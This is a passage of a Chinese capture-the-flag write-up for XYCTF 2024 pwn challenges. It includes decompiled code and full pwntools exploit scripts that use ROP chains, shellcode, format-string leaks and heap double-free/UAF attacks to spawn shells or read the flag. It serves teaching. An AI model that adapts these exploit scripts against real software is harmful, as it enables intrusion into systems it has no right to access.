xyctf2024 pwn

news/2024/9/20 3:18:17/文章来源:https://www.cnblogs.com/zMeedA/p/18415096

hello world

checksec

image-20240805104024953

大多保护都开启了

main函数

int __fastcall main(int argc, const char **argv, const char **envp)
{char buf[20]; // [rsp+0h] [rbp-20h] BYREFinit();printf("%s", "please input your name: ");read(0, buf, 0x48uLL);printf("Welcome to XYCTF! %s\n", buf);printf("%s", "please input your name: ");read(0, buf, 0x48uLL);printf("Welcome to XYCTF! %s\n", buf);return 0;
}

其中read函数读入0x48个字节,buf数组只有20个空间,造成了溢出漏洞,该题pie也打开了,我们还需要知道某一个函数的地址,因为栈高2个字节是父函数的返回地址,因此我们可以直接泄露这个地址,因为printf直到遇到\00才会停止输出,如果我们使用a来占位,栈的情况如下

image-20240805105049514

这是输入了0x28个a,与0x28处的数据一起,可以向后泄露地址

得到main函数的返回地址,我们需要计算start函数的起始地址 ???

真实地址 = 加载地址 + 偏移地址

所以 偏移地址 = 静态真实地址 -静态加载地址

然后由此可以得出基地址

接下来就是常规操作了

from pwn import *context(os="linux",arch="amd64",log_level='debug')
io = process("./vuln")
elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")payload = 0x28 * b'a' 
io.recvuntil("please input your name: ")
io.send(payload)
addr=u64(io.recvuntil(b'\n')[-7:-1].ljust(8,b'\x00'))
print(hex(addr))
base = addr - 0x29d90
sys_addr = base + libc.sym['system']
bsh=base+0x01d8678
poprdi_addr = base + 0x2a3e5
ret_addr = base + 0x29139
payload2 = b'a'*0x28 + p64(ret_addr) + p64(poprdi_addr) + p64(bsh) + p64(sys_addr)
io.recvuntil(b"please input your name: ")
io.sendline(payload2)io.interactive()

checksec

image-20240913113115083

利用meprotect来赋予权限,使用shellcode

image-20240805200209353

from pwn import *context(os='linux',arch = 'amd64',log_level = 'debug')io = process("./vuln")read_addr = 0x00447580
meprotect_addr = 0x04482C0
bss_addr = 0x04C7000
pop_rdi = 0x00401f1f
pop_rsi = 0x00409f8e
pop_rdx = 0x00451322
ret_add = 0x0040101a
print(read_addr)
payload = (0x20 + 8)*b'a' + p64(ret_add) + p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0x100) + p64(pop_rdx) + p64(7) + p64(meprotect_addr)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x100) + p64(read_addr) + p64(bss_addr)io.recvuntil('static_link? ret2??')
io.sendline(payload)shellcode = asm(shellcraft.sh())io.sendline(shellcode)
io.interactive()

Guestbook1

checksec

image-20240807104731581

只开启了栈不可执行保护,IDA打开

int __fastcall main(int argc, const char **argv, const char **envp)
{init();GuestBook();return 0;
}
void __cdecl GuestBook()
{int index; // [rsp+Ch] [rbp-224h] BYREFchar name[32][16]; // [rsp+10h] [rbp-220h] BYREFunsigned __int8 id[32]; // [rsp+210h] [rbp-20h] BYREFputs("Welcome to starRail.");puts("please enter your name and id");while ( 1 ){while ( 1 ){puts("index");__isoc99_scanf("%d", &index);if ( index <= 32 )break;puts("out of range");}if ( index < 0 )break;puts("name:");read(0, name[index], 0x10uLL);puts("id:");__isoc99_scanf("%hhu", &id[index]);c}puts("Have a good time!");
}
void __cdecl backdoor()
{puts("oh,you find it.");system("/bin/sh");
}

该题一看没有能够直接溢出的,但是name函数仅有32个索引仅到31,却可以允许32,id数组也是,id仅靠栈底,所以仅可以溢出一个字节,我们可以试试这个溢出可以干什么

发现可以改变rbp处的最后一个字节,如果我们将原来的栈底值缩小,rbp就被移入栈中,此时,我们在rbp的高一地址处放置后门函数地址,则当ret时就实现了跳转,所以我们需要两个leave ret,leave的作用是将rsp移到rbp处,ret则是pop rbp,pop rip,这样我们可以尽可能的让后门函数所处的位置更高,并在低地址处填充许多ret,使他最终流向后门函数

该题手法

image-20240807104659857

exp

from pwn import *context.arch='amd64'io=remote('gz.imxbt.cn',20835)ret=0x000000000040101abackdoor=0x40133Apayload=p64(ret)*2for i in range(32):io.recvuntil(b"index\n")io.sendline(str(i).encode())io.recvuntil(b'name:\n')io.sendline(payload)io.recvuntil(b"id:\n")io.sendline(b'0')io.recvuntil(b"index\n")
io.sendline(b'32')
io.recvuntil(b"name:\n")
payload=p64(ret)+p64(backdoor)
io.send(payload)
io.recvuntil("id:\n")
io.sendline(b'0')io.recvuntil(b'index\n')
io.sendline(b'-1')io.interactive()

baby_gift

from pwn import *context.arch='amd64'
context.log_level = 'debug'all_logs = []
def debug(params=''):for an_log in all_logs:success(an_log)pid = util.proc.pidof(io)[0]gdb.attach(pid, params)pause()io  = process("./vuln")
elf  = ELF("./vuln")
libc = ELF("libc.so.6")
io.recvuntil(b'Your name:\n')
io.sendline(b'a'*10)
io.recvuntil(b'Your passwd:\n')
ret = 0x000040101a
mov_eax_0 = 0x000401202
payload = b'%27$pa'.ljust(0x28,b'a') +  p64(mov_eax_0) + p64(0) + p64(0x04012B7)
io.send(payload)
io.recvuntil('0x')
call_main = int(io.recv(12),16) - 128
base = call_main - libc.sym["__libc_start_main"]
system = base+libc.sym["system"]
printf = base + libc.sym['printf']
success(hex(system))
#debug()
sh = base+next(libc.search(b"/bin/sh"))
rdi = 0x000000000002a3e5+base
payload = b'/bin/sh\x00'+b'a'*0x20+p64(ret)+p64(system)
io.recvuntil(b'Your name:\n')
io.sendline(b'a'*10)
io.recvuntil(b'Your passwd:\n')
io.sendline(payload)
#io.recv()
io.interactive()

invisible_flag

checksec

image-20240809093732535

查看沙箱

 line  CODE  JT   JF      K
=================================0000: 0x20 0x00 0x00 0x00000004  A = arch0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 00130002: 0x20 0x00 0x00 0x00000000  A = sys_number0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 00050004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 00130005: 0x15 0x07 0x00 0x00000000  if (A == read) goto 00130006: 0x15 0x06 0x00 0x00000001  if (A == write) goto 00130007: 0x15 0x05 0x00 0x00000002  if (A == open) goto 00130008: 0x15 0x04 0x00 0x00000013  if (A == readv) goto 00130009: 0x15 0x03 0x00 0x00000014  if (A == writev) goto 00130010: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 00130011: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 00130012: 0x06 0x00 0x00 0x7fff0000  return ALLOW0013: 0x06 0x00 0x00 0x00000000  return KILL

IDA打开

int __fastcall main(int argc, const char **argv, const char **envp)
{void *addr; // [rsp+8h] [rbp-118h]init();addr = mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);if ( addr == (void *)-1LL ){puts("ERROR");return 1;}else{puts("show your magic again");read(0, addr, 0x200uLL);sandbox();((void (*)(void))addr)();return 0;}
}

明显的栈溢出,但是大多函数都用不了,使用orw来做题

因为execve和open都被禁用,那我们就需要openat来获取文件标识符,

image-20240809094200865

然后使用sendfile来输出

image-20240809094501436

exp如下

from pwn import *
from ctypes import *context(os='linux',arch='amd64',log_level='debug')
io = process("./vuln")
#io = remote("gz.imxbt.cn",20908)shellcode = '''mov rax,0x67616c662f2epush raxxor rdi,rdisub rdi,100mov rsi,rspxor edx,edxxor r10,r10push SYS_openatpop raxsyscallmov rdi,1mov rsi,3push 0mov rdx,rspmov r10,0x100push SYS_sendfilepop raxsyscall
'''shellcode = asm(shellcode)shellcode=asm(shellcraft.openat(-100,'flag'))shellcode+=asm(shellcraft.sendfile(1,3,0,0x30))
print(shellcode)
io.sendline(shellcode)
io.interactive()

fastfastfast

checksec

image-20240809094859886

首先要泄露libc的地址,那就要利用我们的show函数,要使用show函数,那我们必须篡改note[idx]的地址,怎么篡改呢

我们要知道tcachefastbin的进出规则,先进后出

2.31的glibc在tcache引⼊了key机制,没有 edit 函数⽆法绕过检测,所以就转到fastbin attack

我们先了解以下:

  • 程序每当从fastbin/small bin中取出一个堆块,会尝试把该bin中剩余的堆块拿出来去填充tcache

  • 取堆块的过程与正常从链表中取出堆块的方式一样,对于fastbin来讲就是先进后出,对于smallbin来说就是先进先出。这个过程,直到tcache被填满或者链表被取空。

  • 先讲以取空链表的方式结束的方法,对于fastbin而言,链表取空,即bin的fd指向了0,这个情况得是取出一个堆块后,这个链表最后以0结尾。

要触发fastbindoublefree漏洞,就可以隔一个free两个同样的节点,比如

for i in range(9):add(i,b'a'*0x68)
size=0x4040b0
for i in range(7):delete(i)
delete(7)
delete(8)
delete(7)

bin如下:

image-20240820185750317

然后如下操作:

for i in range(7):add(i,b'a'*0x68)
add(7,p64(size))

其中size是想要泄露地址存放的地址,然后heap中的位置如下

image-20240820190218392

因为add(7,p64(size))时,tache认为7是空闲的,而add认为它是正在使用的,所以向7中写入地址,tache认为这个地址是fd,即指向下一个free块的地址,这是就多出了一个块

再执行

add(8,b'a'*0x68)
add(9,b'a'*0x68)
payload=b'a'*0x10+p64(puts_got)
add(10,payload)

heap如下:

image-20240820190743649

成功泄露libc的地址,接下来,就是执行system('/bin/sh'),我们可以篡改free_hook的地址为system地址,这样当free了输入了/bin/sh的节点的时候,就会执行函数

写入过程与上述一致

for i in range(9):add(i,b'a'*0x68)
for i in range(7):delete(i)
delete(7)
delete(8)
delete(7)
for i in range(7):add(i,b'a')
one_gadget=libc_base+0xe3b31
add(7,p64(free_hook))
add(8,b'a'*0x68)
add(9,b'/bin/sh')
add(10,p64(system))
delete(9)
io.interactive()

Intermittent

checksec

[*] '/home/gery5sa/桌面/pwn/xyctf/Intermittent/vuln'Arch:     amd64-64-littleRELRO:    Full RELROStack:    Canary foundNX:       NX enabledPIE:      PIE enabled

IDA打开

int __fastcall main(int argc, const char **argv, const char **envp)
{unsigned __int64 i; // [rsp+0h] [rbp-120h]void (*v5)(void); // [rsp+8h] [rbp-118h]_DWORD buf[66]; // [rsp+10h] [rbp-110h] BYREFunsigned __int64 v7; // [rsp+118h] [rbp-8h]v7 = __readfsqword(0x28u);init(argc, argv, envp);v5 = (void (*)(void))mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);if ( v5 == (void (*)(void))-1LL ){puts("ERROR");return 1;}else{write(1, "show your magic: ", 0x11uLL);read(0, buf, 0x100uLL);for ( i = 0LL; i <= 2; ++i )*((_DWORD *)v5 + 4 * i) = buf[i];v5();return 0;}
}

代码基本思想

  1. 生成canary

  2. 使用mmap系统调用来在Linux(或类Unix)系统中动态地映射内存区域

    void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
    
  3. 向buf中读入0x100个字节的内容

  4. 将buf截断放入(v5+4i)的位置,每个位置放四个字节

  5. 执行v5处的代码

    因为写入v5处的代码较少,无法写入shellcode,那我们可以构造read函数,写入shellcode,继续执行v5,通过调试,v5的地址存在rdx中,我们要构造read(0,v5,0x100),构造成read的shellcode

    shellcode = asm('push rdx;pop rsi;jmp $+14;')
    shellcode += asm('push rax;pop rdi;jmp $+14;')
    shellcode += asm('push rsi;pop rdx;syscall;')
    

    然后读入system('/bin/sh')shellcode,继而执行

    image-20240903103608553

此时rip已经指向了syscall的下一个位置,填充的shellcode的头地址在此位置即可

exp

from pwn import *context.arch='amd64'
context.log_level = 'debug'all_logs = []
def debug(params=''):for an_log in all_logs:success(an_log)pid = util.proc.pidof(io)[0]gdb.attach(pid, params)pause()
io = process("./vuln")
#io = remote("gz.imxbt.cn",20381)
shellcode = asm('push rdx;pop rsi;jmp $+14;')
shellcode += asm('push rax;pop rdi;jmp $+14;')
shellcode += asm('push rsi;pop rdx;syscall;')
io.recvuntil(b'show your magic: ')
io.send(shellcode.ljust(0x100,b'\x90')) #'\x90' nop
io.send(b'\x90'*0x28 + asm(shellcraft.sh()))
io.interactive()

ptmalloc2 it's myheap

[*] '/home/gery5sa/桌面/pwn/xyctf/ptmalloc2_its_myheap/vuln'Arch:     amd64-64-littleRELRO:    Partial RELROStack:    Canary foundNX:       NX enabledPIE:      No PIE (0x400000)

查看代码:

就是一个菜单程序,可以添加,删除,和查看

unsigned __int64 add_chunk()
{unsigned __int64 v1; // [rsp+8h] [rbp-28h] BYREFsize_t size; // [rsp+10h] [rbp-20h] BYREF_QWORD *v3; // [rsp+18h] [rbp-18h]void *buf; // [rsp+20h] [rbp-10h]unsigned __int64 v5; // [rsp+28h] [rbp-8h]v5 = __readfsqword(0x28u);printf("[?] please input chunk_idx: ");__isoc99_scanf("%lld", &v1);if ( v1 < 0x10 ){printf("[?] Enter chunk size: ");__isoc99_scanf("%lld", &size);v3 = malloc(0x18uLL);   //malloc管理块*v3 = size;if ( v3 ){buf = malloc(size);   //malloc数据块v3[2] = buf;  //管理块的第三地址的指针指向数据块if ( buf ){printf("[?] Enter chunk data: ");read(0, buf, size);   //输入数据chunk_list[v1] = v3;   v3[1] = 1LL;}else{puts("[-] Failed to create chunk for data!");}}else{puts("[-] Failed to create new chunk!");}}else{puts("[-] Chunk limit exceeded!");}return v5 - __readfsqword(0x28u);
}
unsigned __int64 delete_chunk()
{unsigned __int64 v1; // [rsp+8h] [rbp-18h] BYREF__int64 v2; // [rsp+10h] [rbp-10h]unsigned __int64 v3; // [rsp+18h] [rbp-8h]v3 = __readfsqword(0x28u);printf("[?] Enter chunk id: ");__isoc99_scanf("%lld", &v1);if ( v1 < 0x10 ){v2 = chunk_list[v1];if ( v2 ){if ( *(_QWORD *)(v2 + 8) ){free((void *)chunk_list[v1]);   //先free管理块free(*(void **)(v2 + 16)); 		//再free数据块*(_QWORD *)(v2 + 8) = 0LL;		//指针未置0,UAF漏洞}else{puts("[-] Chunk is not used!");}}else{puts("[-] No such chunk!");}}else{puts("[-] Chunk limit exceeded!");}return v3 - __readfsqword(0x28u);
}
unsigned __int64 view_chunk()
{unsigned __int64 v1; // [rsp+0h] [rbp-10h] BYREFunsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);printf("[?] Enter chunk id: ");__isoc99_scanf("%lld", &v1);if ( v1 < 0x10 ){if ( chunk_list[v1] ){if ( *(_QWORD *)(chunk_list[v1] + 8LL) )write(1, *(const void **)(chunk_list[v1] + 16LL), *(_QWORD *)chunk_list[v1]);//在管理块的第三个指针输出data块的值elseputs("[-] Chunk is not used!");}else{puts("[-] No such chunk!");}}else{puts("[-] Chunk limit exceeded!");}return v2 - __readfsqword(0x28u);
}
method1

题目思路:

  • 第1题PIE未开,并且got表可写。直接覆盖free为system

  • 3个题的菜单一样,只有add,free,show,没有edit稍有点麻烦。

  • add时先写个0x18的管理块,再建数据块,并将指针和大小写到管理块。

  • free时先free管理块再free数据块,并且未清指针,所以有UAF漏洞。

  • show是用write写不会出现\0截断。

  • 通过建0x18的块覆盖原来free掉但未清指针的管理块,控制管理块的指针,可以实现任意地址读。

  • 并且可以指定一个位置来 free得到到重叠块,覆盖原tcache的指实在在指定位置建块写数据。

    参考:https://blog.csdn.net/weixin_52640415/article/details/140070008

泄露libc过程示意图

add(0,0x20, flat(0,0,0,0x61))
add(1,0x20)
free(0)
free(1)
add(2,0x18, flat(8,1,0x404018))
show(0)
libc.address = u64(p.recv(8)) - libc.sym['free']
print(f"{libc.address = :x}")

image-20240908162918046

同理将heap的基地址泄露出来,(chunk_list中存放的就是各个结点的malloc起始地址),泄露即可,经过调试,第一个malloc离heap地址距离0x2a

泄露代码:

free(2)
add(2,0x18, flat(8,1,elf.sym['chunk_list']))
show(1)
heap = u64(p.recv(8)) - 0x2a0
print(f"{heap = :x}")

然后就是修改free_gotsystem,首先就是要把bins的指针指向free_got,位置,然后就可以,我们可以使用重叠,因为该题的free是根据管理块上的地址,而我们恰好可以控制这个地址,因为此时对于0x30tcache,上图,我们看到d1可以最先被malloc,我们尝试修改d1的内容,我们在其前一个地址(0x310)处,malloc一个更大的数据块,我们可以在此写入任意数据,如何能free到一个更大的bins呢,我们free(0),就会根据g0的第三个位置的地址来free,我们设置这个地址为0x2e0,经过调试发现,会生成一个0x60大小的bins,如下图

image-20240908204657965

之后就是改写数据了

free(2)
add(2,0x18, flat(8,1,heap+0x2e0))
free(0)add(1, 0x58, flat(0,0x21,8,1,0,0x31, (heap>>12)^(elf.got['free']-8)))

bins如下:

image-20240908204843170

发现已经构造成功,接下来,就是写入system加执行了

示意图

image-20240908205402511

完整exp

from pwn import *context.arch='amd64'
context.log_level = 'debug'all_logs = []
def debug(params=''):for an_log in all_logs:success(an_log)pid = util.proc.pidof(io)[0]gdb.attach(pid, params)pause()
io = process("./vuln")
libc = ELF('./libc.so.6')
elf = ELF("./vuln")
def add(index,size,data='A'):io.recvuntil(">>> ")io.sendline(str(1))io.recvuntil("chunk_idx: ")io.sendline(str(index))io.recvuntil("size: ")io.sendline(str(size))io.recvuntil("data: ")io.sendline(data)
def free(index):io.recvuntil(">>> ")io.sendline(str(2))io.recvuntil("id: ")io.sendline(str(index))
def show(index):io.recvuntil(">>> ")io.sendline(str(3))io.recvuntil("id: ")io.sendline(str(index))
add(0,0x20, flat(0,0,0,0x61))
add(1,0x20)
free(0)
free(1)
add(2,0x18, flat(8,1,0x404018))
show(0)
libc.address = u64(io.recv(8)) - libc.sym['free']
print(f"{libc.address = :x}")free(2)
add(2,0x18, flat(8,1,elf.sym['chunk_list']))
show(1)
heap = u64(io.recv(8)) - 0x2a0
print(f"{heap = :x}")free(2)
add(2,0x18, flat(8,1,heap+0x2e0))
free(0)
add(1, 0x58, flat(0,0x21,8,1,0,0x31, (heap>>12)^(elf.got['free']-8)))
add(3,0x20, b'/bin/sh\0')
add(4,0x20, flat(0, libc.sym['system']))free(3)
io.interactive()
method2

glibc 2.35版本的堆,题⽬没开PIE和Partial RELRO,并且有函数泄漏了libc上的地址。所以思路就是先利⽤堆风⽔修改info chunk使得user chunk的使⽤标记为1,并修改原本指向user chunk的指针指向全局变量 chunk_list,从⽽就能泄漏出堆地址了。然后同样由于tcache key机制,并且没 edit 函数,需要转打fastbin attack,并且由于glibc 2.32后引⼊了PROTECT_PTR宏和safelink机制,所以要求伪造的chunk以0x10对齐,并且fd的值为(chunk_addr >> 12) ^ next_chunk_addr。最后利⽤UAF修改 free@got 为 system即可。实现double_free即可

from pwn import *
context.arch='amd64'
elf=ELF('./vuln')
libc=ELF('./libc.so.6')
#io=remote('113.54.244.115',55121)
io=process('./vuln')
puts_got=elf.got['puts']
free=elf.got['free']
#free_got=elf.got['free']def add(idx,size,content):io.recvuntil(b">>> ")io.sendline(b'1')io.recvuntil(b"[?] please input chunk_idx: ")io.sendline(str(idx).encode())io.recvuntil(b"[?] Enter chunk size: ")io.sendline(str(size).encode())io.recvuntil(b"[?] Enter chunk data: ")io.send(content)def delete(idx) :io.recvuntil(b">>> ")io.sendline(b'2')io.recvuntil(b"[?] Enter chunk id: ")io.sendline(str(idx).encode())def show(idx):io.recvuntil(b">>> ")io.sendline(b'3')io.recvuntil(b"[?] Enter chunk id: ")io.sendline(str(idx).encode())def edit(idx,content) :io.recvuntil(b">>> ")io.sendline(b'2')io.recvuntil(b"which suggestion?\n")io.sendline(str(idx).encode())io.send(content)
all_logs = []
def debug(params=''):for an_log in all_logs:success(an_log)pid = util.proc.pidof(io)[0]gdb.attach(pid, params)pause()add(0,0x18,b'aaa')
delete(0)
payload=p64(0x18)+p64(1)+p64(puts_got)
add(1,0x18,payload)
show(0)
puts=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=puts-libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
print('libc_base:',hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
print('malloc_hook:',hex(malloc_hook))
#leak heap
delete(1)
payload=p64(0x18)+p64(1)+p64(0x4040E0)
add(2,0x18,payload)
show(1)
heap=u64(io.recv(6).ljust(8,b'\x00'))-0x2a0
for i in range(9):add(i,0x30,b'aaa')
for i in range(7):delete(i)
delete(7)
delete(8)
add(9,0x18,b'aaa')
add(10,0x18,b'ccc')
add(11,0x18,b'ddd')
add(12,0x60,b'kkk')
addr=heap+0x5a0
payload=p64(0x30)+p64(1) 	#篡改标志为1,可以再次free
add(13,0x18,payload)
delete(7)			for i in range(7):add(7,0x30,'aaaa')add(7,0x30,p64((heap>>12)^(elf.got['free']-8)))
add(8,0x30,'/bin/sh\x00')
#debug()
add(14,0x30,'/bin/sh\x00')
add(15,0x30,p64(0)+p64(sys_addr))delete(8)
io.interactive()

ptmalloc2 it‘s myheap pro

check

image-20240910102821540

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/797539.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

BILIBILI 字幕提取教程简略版

首先是通过 F12 拿到 AID 和 CID(见其它文章),然后调用这个接口: https://api.bilibili.com/x/player/wbi/v2?aid={av}&cid={cid}{"code":0,"message":"0","ttl":1,"data":{"aid":1855215937,"bvid…

k8s Service 服务

目录一、为什么需要 Service二、Kubernetes 中的服务发现与负载均衡 -- Service三、用例解读1、Service 语法2、创建和查看 Service四、Headless Service五、集群内访问 Service六、向集群外暴露 Service七、操作示例1、获取集群状态信息2、创建 Service、Deployment3、创建客户…

获取动态页面html

AJAX AJAX(异步JavaScript和XML)是一种无需重新加载整个页面的情况下,与服务器交换数据,将增量信息局部更新在用户界面上的技术。AJAX具有异步性,AJAX请求不会阻塞用户界面,用户可以在请求处理的同时继续与页面交互,具有更强的交互性。AJAX能使网页从浏览器请求少量信息…

V-By-One协议详解

V-By-One协议详解 V-By-One协议简介 V-by-One是一种高速串行接口技术,由日本赛恩电子公司(THine Electronics)开发,主要用于平板显示器的信号传输。它旨在替代传统的LVDS(Low Voltage Differential Signaling)技术,提供更高的传输速率和更低的功耗。 V-By-One协议特点及…

(2)Proteus8.7添加STM32F103C6直接使用编译xxx.hex文件关键步骤

1)新建工程中选项 2)Protues8.7支持芯片如下:3)点击STM32选择 Keil编译生成的 xxx.hex文件 4)使用virtual terminal显示串口信息。仿真状态,点击Debug菜单项,按图操作。

AI 框架作用是什么?

AI 框架作用 深度学习范式主要是通过发现经验数据中,错综复杂的结构进行学习。通过构建包含多个处理层的计算模型(网络模型),深度学习可以创建多个级别的抽象层来表示数据。例如,卷积神经网络 CNN 可以使用大量图像进行训练,例如对猫狗分类去学习猫和狗图片的特征。这种类…

分布式学习:Raft算法以及具体实现

Raft算法 一致性算法的要求:安全性,网络延迟、分区、丢包、重复和乱序等错误需要保证正确 可用性:集群中只需要大多数机器即可运行 不依赖时序保证一致性三种状态:follower,candidate,leader 任期:逻辑时钟的作用,每一段任期从一次选举开始分票可能会导致一个任期没有l…

通过API接口获取下来的数据需要怎样应用?

在当今数字化时代,通过API接口获取数据已成为企业获取、处理和分析信息的重要手段。API接口不仅能够提高数据交互的效率,还能促进数据的安全性和灵活性。以下是如何将通过API接口获取的数据有效应用的一些方法和策略。数据整合与分析 企业可以通过API接口将不同来源的数据整合…

OpenCore Legacy Patcher 2.0.0 发布,83 款不受支持的 Mac 机型将能运行最新的 macOS Sequoia

OpenCore Legacy Patcher 2.0.0 发布,83 款不受支持的 Mac 机型将能运行最新的 macOS Sequoia在不受支持的 Mac 上安装 macOS Sequoia (OpenCore Legacy Patcher v2.0.0) Install macOS on unsupported Macs 请访问原文链接:https://sysin.org/blog/install-macos-on-unsuppo…

校园食堂明厨亮灶智能视频监控

校园食堂明厨亮灶智能视频监控对餐厅摄像头拍照视频监控画面进行实时分析,校园食堂明厨亮灶智能视频监控针对厨师不穿厨师服、不戴厨师帽口罩、陌生人员进入后厨、厨师工作时间玩手机打电话、后厨出现猫狗老鼠等异常行为现象,系统会自动识别抓拍报警,进而实现食品卫生安全日…

.NET 的 Native AOT 现在是什么样的?

今天要写的这篇文章源自昨天在朋友圈发的文章《UWP 通过 .NET 9 和Native AOT 的支持实现 UWP 应用的现代化》[1],一位小伙伴的对话让我想全面梳理下Native AOT的现在的进展。.NET 9 的 Native AOT(Ahead-of-Time Compilation)是微软在.NET 9版本中重点发展的一项技术,旨在提…

工地车辆未冲洗识别抓拍系统

工地车辆未冲洗识别抓拍系统主要是对施工工地的出入的车辆进行冲洗监管、冲洗识别、未冲洗告警。工地车辆未冲洗识别抓拍系统 由现场监控摄像头与后台系统构成。利用前端摄像头(不分品牌)正对施工工地进出口对来往车辆实时分析识别清洗情况,将违规未清洗车辆,抓拍报警,并上…